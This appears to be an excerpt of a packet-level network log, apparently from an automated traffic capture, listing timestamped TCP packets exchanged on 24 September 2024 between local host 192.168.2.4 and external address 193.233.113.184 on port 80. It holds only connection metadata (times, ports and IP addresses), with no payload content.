Sep 24, 2024 21:30:10.210220098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210264921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210278988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210309982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210314989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210356951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210361004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210385084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210407019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210407019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210422993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210424900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210447073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210448980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210469007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210469961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210488081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210494995 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210510969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210516930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210536003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210539103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210558891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210558891 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210578918 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210608959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210851908 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210869074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210884094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210899115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210901976 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210917950 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210921049 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210938931 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210943937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.210958958 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.210980892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.211003065 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.291368961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.291481018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.291512966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.291544914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.291565895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.291580915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.291599989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.291600943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.291620016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.291627884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.291652918 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.291671991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.291685104 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.291702032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.291718960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.291733027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.291755915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.291778088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.291866064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.291888952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.291907072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.291915894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.291939020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.291950941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.292120934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.292136908 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.292150974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.292166948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.292170048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.292182922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.292197943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.292200089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.292231083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.292253017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.292551041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.292570114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.292586088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.292601109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.292603016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.292615891 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.292620897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.292640924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.292643070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.292659044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.292678118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.292700052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293006897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293035984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293055058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293057919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293068886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293098927 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293261051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293282986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293303013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293312073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293320894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293330908 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293339968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293354988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293356895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293385983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293418884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293616056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293632030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293647051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293661118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293680906 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293704987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293714046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293731928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293746948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293762922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293766022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293776035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293780088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293797970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293803930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293816090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.293840885 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.293860912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.294450998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.294466972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.294481993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.294497013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.294502974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.294513941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.294513941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.294529915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.294540882 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.294547081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.294563055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.294576883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.294578075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.294594049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.294605017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.294610977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.294624090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.294657946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.295305967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.295321941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.295337915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.295351982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.295351982 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.295368910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.295409918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.295413017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.295425892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.295447111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.295454979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.295464993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.295480967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.295490026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.295497894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.295502901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.295514107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.295526028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.295531034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.295547009 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.295552969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.295588970 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.296216965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.296233892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.296251059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.296263933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.296267986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.296283960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.296297073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.296302080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.296319008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.296335936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.296338081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.296348095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.296353102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.296370029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.296385050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.296386957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.296401024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.296417952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.296422005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.296446085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.296479940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.297172070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.297188997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.297204018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.297219992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.297224998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.297238111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.297250032 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.297255993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.297271967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.297288895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.297297955 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.297303915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.297318935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.297319889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.297337055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.297346115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.297354937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.297369957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.297370911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.297398090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.297429085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.298100948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298118114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298131943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298147917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298151016 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.298166037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298181057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.298183918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298201084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298214912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.298218012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298233032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298249960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298253059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.298263073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298281908 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298284054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.298297882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298310041 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.298314095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298326969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.298332930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.298358917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.298393011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.298990011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.299006939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.299020052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.299034119 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.299046993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.299051046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.299057007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.299067974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.299083948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.299083948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.299101114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.299109936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.299117088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.299134016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.299145937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.299166918 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.299187899 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.380301952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380351067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380367041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380371094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.380384922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380407095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.380458117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.380480051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380527020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.380580902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380597115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380613089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380620003 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.380637884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.380661964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.380855083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380870104 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380886078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380903959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380913973 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.380920887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380935907 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.380939007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380955935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.380973101 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.380991936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.381411076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.381428003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.381443977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.381459951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.381460905 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.381478071 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.381483078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.381494999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.381516933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.381521940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.381541014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.381541967 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.381561041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.381581068 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.381608009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.382301092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382317066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382333040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382344961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.382349014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382366896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382369041 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.382383108 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382399082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.382400990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382417917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382436991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.382437944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382478952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.382656097 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382672071 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382685900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382688999 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.382699966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.382715940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382731915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382735014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.382747889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382764101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382771015 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.382781029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382793903 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.382797956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.382833004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.382862091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.383322954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383339882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383356094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383371115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383373022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.383399010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.383409023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383425951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383439064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.383465052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.383830070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383846998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383862972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383872032 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.383878946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383894920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383912086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.383912086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383930922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.383948088 CEST	80	49730	193.233.113.184	192.168.2.4
